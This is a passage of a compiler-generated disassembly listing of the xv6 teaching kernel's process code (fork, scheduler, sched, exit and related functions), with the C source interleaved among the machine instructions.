if (cpus[i].apicid == apicid) return &cpus[i]; 80103660: 05 80 27 11 80 add $0x80112780,%eax } panic("unknown apicid\n"); } 80103665: c3 ret panic("mycpu called with interrupts enabled\n"); apicid = lapicid(); // APIC IDs are not guaranteed to be contiguous. Maybe we should have // a reverse map, or reserve a register to store &cpus[i]. for (i = 0; i < ncpu; ++i) { 80103666: 31 d2 xor %edx,%edx 80103668: eb ea jmp 80103654 <mycpu+0x44> if (cpus[i].apicid == apicid) return &cpus[i]; } panic("unknown apicid\n"); 8010366a: c7 04 24 bc 75 10 80 movl $0x801075bc,(%esp) 80103671: e8 ea cc ff ff call 80100360 <panic> mycpu(void) { int apicid, i; if(readeflags()&FL_IF) panic("mycpu called with interrupts enabled\n"); 80103676: c7 04 24 98 76 10 80 movl $0x80107698,(%esp) 8010367d: e8 de cc ff ff call 80100360 <panic> 80103682: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103689: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103690 <cpuid>: initlock(&ptable.lock, "ptable"); } // Must be called with interrupts disabled int cpuid() { 80103690: 55 push %ebp 80103691: 89 e5 mov %esp,%ebp 80103693: 83 ec 08 sub $0x8,%esp return mycpu()-cpus; 80103696: e8 75 ff ff ff call 80103610 <mycpu> } 8010369b: c9 leave } // Must be called with interrupts disabled int cpuid() { return mycpu()-cpus; 8010369c: 2d 80 27 11 80 sub $0x80112780,%eax 801036a1: c1 f8 04 sar $0x4,%eax 801036a4: 69 c0 a3 8b 2e ba imul $0xba2e8ba3,%eax,%eax } 801036aa: c3 ret 801036ab: 90 nop 801036ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801036b0 <myproc>: } // Disable interrupts so that we are not rescheduled // while reading proc from the cpu structure struct proc* myproc(void) { 801036b0: 55 push %ebp 801036b1: 89 e5 mov %esp,%ebp 801036b3: 53 push %ebx 801036b4: 83 ec 04 sub $0x4,%esp struct cpu *c; struct proc *p; pushcli(); 801036b7: e8 84 0a 00 00 call 80104140 <pushcli> c = mycpu(); 801036bc: e8 4f ff ff ff call 80103610 <mycpu> p = c->proc; 801036c1: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 801036c7: e8 b4 0a 00 00 call 80104180 <popcli> return p; } 801036cc: 83 c4 04 add $0x4,%esp 801036cf: 89 d8 mov %ebx,%eax 801036d1: 5b pop %ebx 801036d2: 5d pop %ebp 801036d3: c3 ret 801036d4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801036da: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801036e0 <userinit>: //PAGEBREAK: 32 // Set up first user process. void userinit(void) { 801036e0: 55 push %ebp 801036e1: 89 e5 mov %esp,%ebp 801036e3: 53 push %ebx 801036e4: 83 ec 14 sub $0x14,%esp struct proc *p; extern char _binary_initcode_start[], _binary_initcode_size[]; p = allocproc(); 801036e7: e8 e4 fd ff ff call 801034d0 <allocproc> 801036ec: 89 c3 mov %eax,%ebx initproc = p; 801036ee: a3 b8 a5 10 80 mov %eax,0x8010a5b8 if((p->pgdir = setupkvm()) == 0) 801036f3: e8 b8 36 00 00 call 80106db0 <setupkvm> 801036f8: 85 c0 test %eax,%eax 801036fa: 89 43 04 mov %eax,0x4(%ebx) 801036fd: 0f 84 d4 00 00 00 je 801037d7 <userinit+0xf7> panic("userinit: out of memory?"); inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size); 80103703: 89 04 24 mov %eax,(%esp) 80103706: c7 44 24 08 2c 00 00 movl $0x2c,0x8(%esp) 8010370d: 00 8010370e: c7 44 24 04 60 a4 10 movl $0x8010a460,0x4(%esp) 80103715: 80 80103716: e8 c5 33 00 00 call 80106ae0 <inituvm> p->sz = PGSIZE; 8010371b: c7 03 00 10 00 00 movl $0x1000,(%ebx) memset(p->tf, 0, sizeof(*p->tf)); 80103721: c7 44 24 08 4c 00 00 movl $0x4c,0x8(%esp) 80103728: 00 80103729: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80103730: 00 80103731: 8b 43 18 mov 0x18(%ebx),%eax 80103734: 89 04 24 mov %eax,(%esp) 80103737: e8 b4 0b 00 00 call 801042f0 <memset> p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 8010373c: 8b 43 18 mov 0x18(%ebx),%eax 8010373f: ba 1b 00 00 00 mov $0x1b,%edx p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 80103744: b9 23 00 00 00 mov $0x23,%ecx if((p->pgdir = setupkvm()) == 0) panic("userinit: out of memory?"); inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size); p->sz = PGSIZE; memset(p->tf, 0, sizeof(*p->tf)); p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 80103749: 66 89 50 3c mov %dx,0x3c(%eax) p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 8010374d: 8b 43 18 mov 0x18(%ebx),%eax 80103750: 66 89 48 2c mov %cx,0x2c(%eax) p->tf->es = p->tf->ds; 80103754: 8b 43 18 mov 0x18(%ebx),%eax 80103757: 0f b7 50 2c movzwl 0x2c(%eax),%edx 8010375b: 66 89 50 28 mov %dx,0x28(%eax) p->tf->ss = p->tf->ds; 8010375f: 8b 43 18 mov 0x18(%ebx),%eax 80103762: 0f b7 50 2c movzwl 0x2c(%eax),%edx 80103766: 66 89 50 48 mov %dx,0x48(%eax) p->tf->eflags = FL_IF; 8010376a: 8b 43 18 mov 0x18(%ebx),%eax 8010376d: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax) p->tf->esp = PGSIZE; 80103774: 8b 43 18 mov 0x18(%ebx),%eax 80103777: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax) p->tf->eip = 0; // beginning of initcode.S 8010377e: 8b 43 18 mov 0x18(%ebx),%eax 80103781: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax) safestrcpy(p->name, "initcode", sizeof(p->name)); 80103788: 8d 43 6c lea 0x6c(%ebx),%eax 8010378b: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 80103792: 00 80103793: c7 44 24 04 e5 75 10 movl $0x801075e5,0x4(%esp) 8010379a: 80 8010379b: 89 04 24 mov %eax,(%esp) 8010379e: e8 2d 0d 00 00 call 801044d0 <safestrcpy> p->cwd = namei("/"); 801037a3: c7 04 24 ee 75 10 80 movl $0x801075ee,(%esp) 801037aa: e8 61 e7 ff ff call 80101f10 <namei> 801037af: 89 43 68 mov %eax,0x68(%ebx) // this assignment to p->state lets other cores // run this process. the acquire forces the above // writes to be visible, and the lock is also needed // because the assignment might not be atomic. acquire(&ptable.lock); 801037b2: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801037b9: e8 72 0a 00 00 call 80104230 <acquire> p->state = RUNNABLE; 801037be: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx) release(&ptable.lock); 801037c5: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801037cc: e8 cf 0a 00 00 call 801042a0 <release> } 801037d1: 83 c4 14 add $0x14,%esp 801037d4: 5b pop %ebx 801037d5: 5d pop %ebp 801037d6: c3 ret p = allocproc(); initproc = p; if((p->pgdir = setupkvm()) == 0) panic("userinit: out of memory?"); 801037d7: c7 04 24 cc 75 10 80 movl $0x801075cc,(%esp) 801037de: e8 7d cb ff ff call 80100360 <panic> 801037e3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801037e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801037f0 <growproc>: // Grow current process's memory by n bytes. // Return 0 on success, -1 on failure. int growproc(int n) { 801037f0: 55 push %ebp 801037f1: 89 e5 mov %esp,%ebp 801037f3: 56 push %esi 801037f4: 53 push %ebx 801037f5: 83 ec 10 sub $0x10,%esp 801037f8: 8b 75 08 mov 0x8(%ebp),%esi uint sz; struct proc *curproc = myproc(); 801037fb: e8 b0 fe ff ff call 801036b0 <myproc> sz = curproc->sz; if(n > 0){ 80103800: 83 fe 00 cmp $0x0,%esi // Return 0 on success, -1 on failure. int growproc(int n) { uint sz; struct proc *curproc = myproc(); 80103803: 89 c3 mov %eax,%ebx sz = curproc->sz; 80103805: 8b 00 mov (%eax),%eax if(n > 0){ 80103807: 7e 2f jle 80103838 <growproc+0x48> if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0) 80103809: 01 c6 add %eax,%esi 8010380b: 89 74 24 08 mov %esi,0x8(%esp) 8010380f: 89 44 24 04 mov %eax,0x4(%esp) 80103813: 8b 43 04 mov 0x4(%ebx),%eax 80103816: 89 04 24 mov %eax,(%esp) 80103819: e8 02 34 00 00 call 80106c20 <allocuvm> 8010381e: 85 c0 test %eax,%eax 80103820: 74 36 je 80103858 <growproc+0x68> return -1; } else if(n < 0){ if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0) return -1; } curproc->sz = sz; 80103822: 89 03 mov %eax,(%ebx) switchuvm(curproc); 80103824: 89 1c 24 mov %ebx,(%esp) 80103827: e8 a4 31 00 00 call 801069d0 <switchuvm> return 0; 8010382c: 31 c0 xor %eax,%eax } 8010382e: 83 c4 10 add $0x10,%esp 80103831: 5b pop %ebx 80103832: 5e pop %esi 80103833: 5d pop %ebp 80103834: c3 ret 80103835: 8d 76 00 lea 0x0(%esi),%esi sz = curproc->sz; if(n > 0){ if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0) return -1; } else if(n < 0){ 80103838: 74 e8 je 80103822 <growproc+0x32> if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0) 8010383a: 01 c6 add %eax,%esi 8010383c: 89 74 24 08 mov %esi,0x8(%esp) 80103840: 89 44 24 04 mov %eax,0x4(%esp) 80103844: 8b 43 04 mov 0x4(%ebx),%eax 80103847: 89 04 24 mov %eax,(%esp) 8010384a: e8 c1 34 00 00 call 80106d10 <deallocuvm> 8010384f: 85 c0 test %eax,%eax 80103851: 75 cf jne 80103822 <growproc+0x32> 80103853: 90 nop 80103854: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi struct proc *curproc = myproc(); sz = curproc->sz; if(n > 0){ if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0) return -1; 80103858: b8 ff ff ff ff mov $0xffffffff,%eax 8010385d: eb cf jmp 8010382e <growproc+0x3e> 8010385f: 90 nop 80103860 <fork>: // Create a new process copying p as the parent. // Sets up stack to return as if from system call. // Caller must set state of returned proc to RUNNABLE. int fork(void) { 80103860: 55 push %ebp 80103861: 89 e5 mov %esp,%ebp 80103863: 57 push %edi 80103864: 56 push %esi 80103865: 53 push %ebx 80103866: 83 ec 1c sub $0x1c,%esp int i, pid; struct proc *np; struct proc *curproc = myproc(); 80103869: e8 42 fe ff ff call 801036b0 <myproc> 8010386e: 89 c3 mov %eax,%ebx // Allocate process. if((np = allocproc()) == 0){ 80103870: e8 5b fc ff ff call 801034d0 <allocproc> 80103875: 85 c0 test %eax,%eax 80103877: 89 c7 mov %eax,%edi 80103879: 89 45 e4 mov %eax,-0x1c(%ebp) 8010387c: 0f 84 c7 00 00 00 je 80103949 <fork+0xe9> return -1; } // Copy process state from proc. if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0){ 80103882: 8b 03 mov (%ebx),%eax 80103884: 89 44 24 04 mov %eax,0x4(%esp) 80103888: 8b 43 04 mov 0x4(%ebx),%eax 8010388b: 89 04 24 mov %eax,(%esp) 8010388e: e8 fd 35 00 00 call 80106e90 <copyuvm> 80103893: 85 c0 test %eax,%eax 80103895: 89 47 04 mov %eax,0x4(%edi) 80103898: 0f 84 b2 00 00 00 je 80103950 <fork+0xf0> kfree(np->kstack); np->kstack = 0; np->state = UNUSED; return -1; } np->sz = curproc->sz; 8010389e: 8b 03 mov (%ebx),%eax np->parent = curproc; *np->tf = *curproc->tf; 801038a0: b9 13 00 00 00 mov $0x13,%ecx kfree(np->kstack); np->kstack = 0; np->state = UNUSED; return -1; } np->sz = curproc->sz; 801038a5: 8b 7d e4 mov -0x1c(%ebp),%edi 801038a8: 89 07 mov %eax,(%edi) np->parent = curproc; *np->tf = *curproc->tf; 801038aa: 89 f8 mov %edi,%eax np->kstack = 0; np->state = UNUSED; return -1; } np->sz = curproc->sz; np->parent = curproc; 801038ac: 89 5f 14 mov %ebx,0x14(%edi) *np->tf = *curproc->tf; 801038af: 8b 7f 18 mov 0x18(%edi),%edi 801038b2: 8b 73 18 mov 0x18(%ebx),%esi 801038b5: f3 a5 rep movsl %ds:(%esi),%es:(%edi) // Clear %eax so that fork returns 0 in the child. np->tf->eax = 0; for(i = 0; i < NOFILE; i++) 801038b7: 31 f6 xor %esi,%esi np->sz = curproc->sz; np->parent = curproc; *np->tf = *curproc->tf; // Clear %eax so that fork returns 0 in the child. np->tf->eax = 0; 801038b9: 8b 40 18 mov 0x18(%eax),%eax 801038bc: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax) 801038c3: 90 nop 801038c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(i = 0; i < NOFILE; i++) if(curproc->ofile[i]) 801038c8: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax 801038cc: 85 c0 test %eax,%eax 801038ce: 74 0f je 801038df <fork+0x7f> np->ofile[i] = filedup(curproc->ofile[i]); 801038d0: 89 04 24 mov %eax,(%esp) 801038d3: e8 08 d5 ff ff call 80100de0 <filedup> 801038d8: 8b 55 e4 mov -0x1c(%ebp),%edx 801038db: 89 44 b2 28 mov %eax,0x28(%edx,%esi,4) *np->tf = *curproc->tf; // Clear %eax so that fork returns 0 in the child. np->tf->eax = 0; for(i = 0; i < NOFILE; i++) 801038df: 83 c6 01 add $0x1,%esi 801038e2: 83 fe 10 cmp $0x10,%esi 801038e5: 75 e1 jne 801038c8 <fork+0x68> if(curproc->ofile[i]) np->ofile[i] = filedup(curproc->ofile[i]); np->cwd = idup(curproc->cwd); 801038e7: 8b 43 68 mov 0x68(%ebx),%eax safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 801038ea: 83 c3 6c add $0x6c,%ebx np->tf->eax = 0; for(i = 0; i < NOFILE; i++) if(curproc->ofile[i]) np->ofile[i] = filedup(curproc->ofile[i]); np->cwd = idup(curproc->cwd); 801038ed: 89 04 24 mov %eax,(%esp) 801038f0: e8 9b dd ff ff call 80101690 <idup> 801038f5: 8b 7d e4 mov -0x1c(%ebp),%edi 801038f8: 89 47 68 mov %eax,0x68(%edi) safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 801038fb: 8d 47 6c lea 0x6c(%edi),%eax 801038fe: 89 5c 24 04 mov %ebx,0x4(%esp) 80103902: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 80103909: 00 8010390a: 89 04 24 mov %eax,(%esp) 8010390d: e8 be 0b 00 00 call 801044d0 <safestrcpy> pid = np->pid; 80103912: 8b 5f 10 mov 0x10(%edi),%ebx acquire(&ptable.lock); 80103915: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 8010391c: e8 0f 09 00 00 call 80104230 <acquire> np->state = RUNNABLE; np->myticks = ticks; 80103921: a1 a0 5b 11 80 mov 0x80115ba0,%eax pid = np->pid; acquire(&ptable.lock); np->state = RUNNABLE; 80103926: c7 47 0c 03 00 00 00 movl $0x3,0xc(%edi) np->myticks = ticks; 8010392d: 89 87 80 00 00 00 mov %eax,0x80(%edi) release(&ptable.lock); 80103933: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 8010393a: e8 61 09 00 00 call 801042a0 <release> return pid; 8010393f: 89 d8 mov %ebx,%eax } 80103941: 83 c4 1c add $0x1c,%esp 80103944: 5b pop %ebx 80103945: 5e pop %esi 80103946: 5f pop %edi 80103947: 5d pop %ebp 80103948: c3 ret struct proc *np; struct proc *curproc = myproc(); // Allocate process. if((np = allocproc()) == 0){ return -1; 80103949: b8 ff ff ff ff mov $0xffffffff,%eax 8010394e: eb f1 jmp 80103941 <fork+0xe1> } // Copy process state from proc. if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0){ kfree(np->kstack); 80103950: 8b 5d e4 mov -0x1c(%ebp),%ebx 80103953: 8b 43 08 mov 0x8(%ebx),%eax 80103956: 89 04 24 mov %eax,(%esp) 80103959: e8 a2 e9 ff ff call 80102300 <kfree> np->kstack = 0; np->state = UNUSED; return -1; 8010395e: b8 ff ff ff ff mov $0xffffffff,%eax } // Copy process state from proc. if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0){ kfree(np->kstack); np->kstack = 0; 80103963: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) np->state = UNUSED; 8010396a: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) return -1; 80103971: eb ce jmp 80103941 <fork+0xe1> 80103973: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103979: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103980 <scheduler>: // - swtch to start running that process // - eventually that process transfers control // via swtch back to the scheduler. void scheduler(void) { 80103980: 55 push %ebp 80103981: 89 e5 mov %esp,%ebp 80103983: 57 push %edi 80103984: 56 push %esi 80103985: 53 push %ebx 80103986: 83 ec 1c sub $0x1c,%esp struct proc *p; struct cpu *c = mycpu(); 80103989: e8 82 fc ff ff call 80103610 <mycpu> 8010398e: 89 c6 mov %eax,%esi c->proc = 0; 80103990: c7 80 ac 00 00 00 00 movl $0x0,0xac(%eax) 80103997: 00 00 00 8010399a: 8d 78 04 lea 0x4(%eax),%edi 8010399d: 8d 76 00 lea 0x0(%esi),%esi } static inline void sti(void) { asm volatile("sti"); 801039a0: fb sti for(;;){ // Enable interrupts on this processor. sti(); // Loop over process table looking for process to run. acquire(&ptable.lock); 801039a1: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801039a8: bb 54 2d 11 80 mov $0x80112d54,%ebx for(;;){ // Enable interrupts on this processor. sti(); // Loop over process table looking for process to run. acquire(&ptable.lock); 801039ad: e8 7e 08 00 00 call 80104230 <acquire> 801039b2: eb 12 jmp 801039c6 <scheduler+0x46> 801039b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801039b8: 81 c3 84 00 00 00 add $0x84,%ebx 801039be: 81 fb 54 4e 11 80 cmp $0x80114e54,%ebx 801039c4: 74 4a je 80103a10 <scheduler+0x90> if(p->state != RUNNABLE) 801039c6: 83 7b 0c 03 cmpl $0x3,0xc(%ebx) 801039ca: 75 ec jne 801039b8 <scheduler+0x38> continue; // Switch to chosen process. It is the process's job // to release ptable.lock and then reacquire it // before jumping back to us. c->proc = p; 801039cc: 89 9e ac 00 00 00 mov %ebx,0xac(%esi) switchuvm(p); 801039d2: 89 1c 24 mov %ebx,(%esp) // Enable interrupts on this processor. sti(); // Loop over process table looking for process to run. acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801039d5: 81 c3 84 00 00 00 add $0x84,%ebx // Switch to chosen process. It is the process's job // to release ptable.lock and then reacquire it // before jumping back to us. c->proc = p; switchuvm(p); 801039db: e8 f0 2f 00 00 call 801069d0 <switchuvm> p->state = RUNNING; swtch(&(c->scheduler), p->context); 801039e0: 8b 43 98 mov -0x68(%ebx),%eax // Switch to chosen process. It is the process's job // to release ptable.lock and then reacquire it // before jumping back to us. c->proc = p; switchuvm(p); p->state = RUNNING; 801039e3: c7 43 88 04 00 00 00 movl $0x4,-0x78(%ebx) swtch(&(c->scheduler), p->context); 801039ea: 89 3c 24 mov %edi,(%esp) 801039ed: 89 44 24 04 mov %eax,0x4(%esp) 801039f1: e8 35 0b 00 00 call 8010452b <swtch> switchkvm(); 801039f6: e8 b5 2f 00 00 call 801069b0 <switchkvm> // Enable interrupts on this processor. sti(); // Loop over process table looking for process to run. acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801039fb: 81 fb 54 4e 11 80 cmp $0x80114e54,%ebx swtch(&(c->scheduler), p->context); switchkvm(); // Process is done running for now. // It should have changed its p->state before coming back. c->proc = 0; 80103a01: c7 86 ac 00 00 00 00 movl $0x0,0xac(%esi) 80103a08: 00 00 00 // Enable interrupts on this processor. sti(); // Loop over process table looking for process to run. acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103a0b: 75 b9 jne 801039c6 <scheduler+0x46> 80103a0d: 8d 76 00 lea 0x0(%esi),%esi // Process is done running for now. // It should have changed its p->state before coming back. c->proc = 0; } release(&ptable.lock); 80103a10: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103a17: e8 84 08 00 00 call 801042a0 <release> } 80103a1c: eb 82 jmp 801039a0 <scheduler+0x20> 80103a1e: 66 90 xchg %ax,%ax 80103a20 <sched>: // be proc->intena and proc->ncli, but that would // break in the few places where a lock is held but // there's no process. void sched(void) { 80103a20: 55 push %ebp 80103a21: 89 e5 mov %esp,%ebp 80103a23: 56 push %esi 80103a24: 53 push %ebx 80103a25: 83 ec 10 sub $0x10,%esp int intena; struct proc *p = myproc(); 80103a28: e8 83 fc ff ff call 801036b0 <myproc> if(!holding(&ptable.lock)) 80103a2d: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) // there's no process. void sched(void) { int intena; struct proc *p = myproc(); 80103a34: 89 c3 mov %eax,%ebx if(!holding(&ptable.lock)) 80103a36: e8 b5 07 00 00 call 801041f0 <holding> 80103a3b: 85 c0 test %eax,%eax 80103a3d: 74 4f je 80103a8e <sched+0x6e> panic("sched ptable.lock"); if(mycpu()->ncli != 1) 80103a3f: e8 cc fb ff ff call 80103610 <mycpu> 80103a44: 83 b8 a4 00 00 00 01 cmpl $0x1,0xa4(%eax) 80103a4b: 75 65 jne 80103ab2 <sched+0x92> panic("sched locks"); if(p->state == RUNNING) 80103a4d: 83 7b 0c 04 cmpl $0x4,0xc(%ebx) 80103a51: 74 53 je 80103aa6 <sched+0x86> static inline uint readeflags(void) { uint eflags; asm volatile("pushfl; popl %0" : "=r" (eflags)); 80103a53: 9c pushf 80103a54: 58 pop %eax panic("sched running"); if(readeflags()&FL_IF) 80103a55: f6 c4 02 test $0x2,%ah 80103a58: 75 40 jne 80103a9a <sched+0x7a> panic("sched interruptible"); intena = mycpu()->intena; 80103a5a: e8 b1 fb ff ff call 80103610 <mycpu> swtch(&p->context, mycpu()->scheduler); 80103a5f: 83 c3 1c add $0x1c,%ebx panic("sched locks"); if(p->state == RUNNING) panic("sched running"); if(readeflags()&FL_IF) panic("sched interruptible"); intena = mycpu()->intena; 80103a62: 8b b0 a8 00 00 00 mov 0xa8(%eax),%esi swtch(&p->context, mycpu()->scheduler); 80103a68: e8 a3 fb ff ff call 80103610 <mycpu> 80103a6d: 8b 40 04 mov 0x4(%eax),%eax 80103a70: 89 1c 24 mov %ebx,(%esp) 80103a73: 89 44 24 04 mov %eax,0x4(%esp) 80103a77: e8 af 0a 00 00 call 8010452b <swtch> mycpu()->intena = intena; 80103a7c: e8 8f fb ff ff call 80103610 <mycpu> 80103a81: 89 b0 a8 00 00 00 mov %esi,0xa8(%eax) } 80103a87: 83 c4 10 add $0x10,%esp 80103a8a: 5b pop %ebx 80103a8b: 5e pop %esi 80103a8c: 5d pop %ebp 80103a8d: c3 ret { int intena; struct proc *p = myproc(); if(!holding(&ptable.lock)) panic("sched ptable.lock"); 80103a8e: c7 04 24 f0 75 10 80 movl $0x801075f0,(%esp) 80103a95: e8 c6 c8 ff ff call 80100360 <panic> if(mycpu()->ncli != 1) panic("sched locks"); if(p->state == RUNNING) panic("sched running"); if(readeflags()&FL_IF) panic("sched interruptible"); 80103a9a: c7 04 24 1c 76 10 80 movl $0x8010761c,(%esp) 80103aa1: e8 ba c8 ff ff call 80100360 <panic> if(!holding(&ptable.lock)) panic("sched ptable.lock"); if(mycpu()->ncli != 1) panic("sched locks"); if(p->state == RUNNING) panic("sched running"); 80103aa6: c7 04 24 0e 76 10 80 movl $0x8010760e,(%esp) 80103aad: e8 ae c8 ff ff call 80100360 <panic> struct proc *p = myproc(); if(!holding(&ptable.lock)) panic("sched ptable.lock"); if(mycpu()->ncli != 1) panic("sched locks"); 80103ab2: c7 04 24 02 76 10 80 movl $0x80107602,(%esp) 80103ab9: e8 a2 c8 ff ff call 80100360 <panic> 80103abe: 66 90 xchg %ax,%ax 80103ac0 <exit>: // Exit the current process. Does not return. // An exited process remains in the zombie state // until its parent calls wait() to find out it exited. void exit(void) { 80103ac0: 55 push %ebp 80103ac1: 89 e5 mov %esp,%ebp 80103ac3: 56 push %esi struct proc *curproc = myproc(); struct proc *p; int fd; if(curproc == initproc) 80103ac4: 31 f6 xor %esi,%esi // Exit the current process. Does not return. // An exited process remains in the zombie state // until its parent calls wait() to find out it exited. void exit(void) { 80103ac6: 53 push %ebx 80103ac7: 83 ec 10 sub $0x10,%esp struct proc *curproc = myproc(); 80103aca: e8 e1 fb ff ff call 801036b0 <myproc> struct proc *p; int fd; if(curproc == initproc) 80103acf: 3b 05 b8 a5 10 80 cmp 0x8010a5b8,%eax // An exited process remains in the zombie state // until its parent calls wait() to find out it exited. void exit(void) { struct proc *curproc = myproc(); 80103ad5: 89 c3 mov %eax,%ebx struct proc *p; int fd; if(curproc == initproc) 80103ad7: 0f 84 fd 00 00 00 je 80103bda <exit+0x11a> 80103add: 8d 76 00 lea 0x0(%esi),%esi panic("init exiting"); // Close all open files. for(fd = 0; fd < NOFILE; fd++){ if(curproc->ofile[fd]){ 80103ae0: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax 80103ae4: 85 c0 test %eax,%eax 80103ae6: 74 10 je 80103af8 <exit+0x38> fileclose(curproc->ofile[fd]); 80103ae8: 89 04 24 mov %eax,(%esp) 80103aeb: e8 40 d3 ff ff call 80100e30 <fileclose> curproc->ofile[fd] = 0; 80103af0: c7 44 b3 28 00 00 00 movl $0x0,0x28(%ebx,%esi,4) 80103af7: 00 if(curproc == initproc) panic("init exiting"); // Close all open files. for(fd = 0; fd < NOFILE; fd++){ 80103af8: 83 c6 01 add $0x1,%esi 80103afb: 83 fe 10 cmp $0x10,%esi 80103afe: 75 e0 jne 80103ae0 <exit+0x20> fileclose(curproc->ofile[fd]); curproc->ofile[fd] = 0; } } begin_op(); 80103b00: e8 1b f0 ff ff call 80102b20 <begin_op> iput(curproc->cwd); 80103b05: 8b 43 68 mov 0x68(%ebx),%eax 80103b08: 89 04 24 mov %eax,(%esp) 80103b0b: e8 d0 dc ff ff call 801017e0 <iput> end_op(); 80103b10: e8 7b f0 ff ff call 80102b90 <end_op> curproc->cwd = 0; 80103b15: c7 43 68 00 00 00 00 movl $0x0,0x68(%ebx) acquire(&ptable.lock); 80103b1c: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103b23: e8 08 07 00 00 call 80104230 <acquire> // Parent might be sleeping in wait(). wakeup1(curproc->parent); 80103b28: 8b 43 14 mov 0x14(%ebx),%eax static void wakeup1(void *chan) { struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103b2b: ba 54 2d 11 80 mov $0x80112d54,%edx 80103b30: eb 14 jmp 80103b46 <exit+0x86> 80103b32: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103b38: 81 c2 84 00 00 00 add $0x84,%edx 80103b3e: 81 fa 54 4e 11 80 cmp $0x80114e54,%edx 80103b44: 74 20 je 80103b66 <exit+0xa6> if(p->state == SLEEPING && p->chan == chan) 80103b46: 83 7a 0c 02 cmpl $0x2,0xc(%edx) 80103b4a: 75 ec jne 80103b38 <exit+0x78> 80103b4c: 3b 42 20 cmp 0x20(%edx),%eax 80103b4f: 75 e7 jne 80103b38 <exit+0x78> p->state = RUNNABLE; 80103b51: c7 42 0c 03 00 00 00 movl $0x3,0xc(%edx) static void wakeup1(void *chan) { struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103b58: 81 c2 84 00 00 00 add $0x84,%edx 80103b5e: 81 fa 54 4e 11 80 cmp $0x80114e54,%edx 80103b64: 75 e0 jne 80103b46 <exit+0x86> wakeup1(curproc->parent); // Pass abandoned children to init. for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ if(p->parent == curproc){ p->parent = initproc; 80103b66: a1 b8 a5 10 80 mov 0x8010a5b8,%eax 80103b6b: b9 54 2d 11 80 mov $0x80112d54,%ecx 80103b70: eb 14 jmp 80103b86 <exit+0xc6> 80103b72: 8d b6 00 00 00 00 lea 0x0(%esi),%esi // Parent might be sleeping in wait(). wakeup1(curproc->parent); // Pass abandoned children to init. for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103b78: 81 c1 84 00 00 00 add $0x84,%ecx 80103b7e: 81 f9 54 4e 11 80 cmp $0x80114e54,%ecx 80103b84: 74 3c je 80103bc2 <exit+0x102> if(p->parent == curproc){ 80103b86: 39 59 14 cmp %ebx,0x14(%ecx) 80103b89: 75 ed jne 80103b78 <exit+0xb8> p->parent = initproc; if(p->state == ZOMBIE) 80103b8b: 83 79 0c 05 cmpl $0x5,0xc(%ecx) wakeup1(curproc->parent); // Pass abandoned children to init. for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ if(p->parent == curproc){ p->parent = initproc; 80103b8f: 89 41 14 mov %eax,0x14(%ecx) if(p->state == ZOMBIE) 80103b92: 75 e4 jne 80103b78 <exit+0xb8> 80103b94: ba 54 2d 11 80 mov $0x80112d54,%edx 80103b99: eb 13 jmp 80103bae <exit+0xee> 80103b9b: 90 nop 80103b9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi static void wakeup1(void *chan) { struct proc *p; for(p = ptable.proc; p < 